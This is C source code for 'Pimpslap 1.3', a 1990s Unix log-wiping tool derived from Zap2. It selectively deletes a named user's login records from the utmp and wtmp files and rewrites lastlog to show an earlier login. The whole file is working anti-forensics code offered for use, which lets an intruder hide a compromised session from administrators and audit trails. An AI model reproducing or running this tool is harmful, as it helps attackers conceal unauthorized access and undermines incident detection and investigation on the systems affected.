/*      Pimpslap 1.3 - Selectively edits UTMP and WTMP entries, and      */
/*     changes lastlog to previous login. Based on Zap2 source code.     */
/*                 Written by Colonel Mustard, 9-28-96.                  */

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void fix_utmp(who)
char *who;
{
    struct utmp utmp_ent;
    int answer='n';
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                printf("%s %s kill it? [y/n]:",utmp_ent.ut_host,utmp_ent.ut_line);
                answer=getchar();getchar();
                if ((answer == 'Y') || (answer == 'y')){
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
                }
            }
     close(f);
  }
}
 
void fix_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    int answer;
    long pos;
    pos = 1L;

    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               printf("%s %s kill it? [y/n/s]:",utmp_ent.ut_host,utmp_ent.ut_line);
               answer=getchar();getchar();
               if ((answer == 'Y') || (answer == 'y')){
                  bzero((char *)&utmp_ent,sizeof(struct utmp ));
                  lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                  write (f, &utmp_ent, sizeof (utmp_ent));
               }
               pos += 1L;
               if ((answer == 'S') || (answer == 's')) pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void fix_lastlog(who,when)
char *who;
struct lastlog when;
{
    struct passwd *pwd;

     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            write(f, (char *)&when, sizeof( when ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}

struct utmp last_wtmp(who)
char *who;
{
    struct utmp utmp_ent, last_w;
    long pos;

    last_w.ut_time = 0;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               last_w = utmp_ent;
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
    }
return last_w;
}
 
main(argc,argv)
int argc;
char *argv[];
{
    struct utmp lasttime;
    struct lastlog newll;

    newll.ll_time = 0;

    if (argc==2) {
        printf("Opening utmp...\n");
        fix_utmp(argv[1]);
        fix_lastlog(argv[1],newll);
        printf("Opening wtmp...\n");
        fix_wtmp(argv[1]);
        lasttime = last_wtmp(argv[1]);
        newll.ll_time=lasttime.ut_time;
        strcpy(newll.ll_line,lasttime.ut_line);
        strcpy(newll.ll_host,lasttime.ut_host);
        printf("Patching lastlog...\n");
        fix_lastlog(argv[1],newll);
        printf("Pimpslap!\n");
    } else
    printf("Error.\n");
}
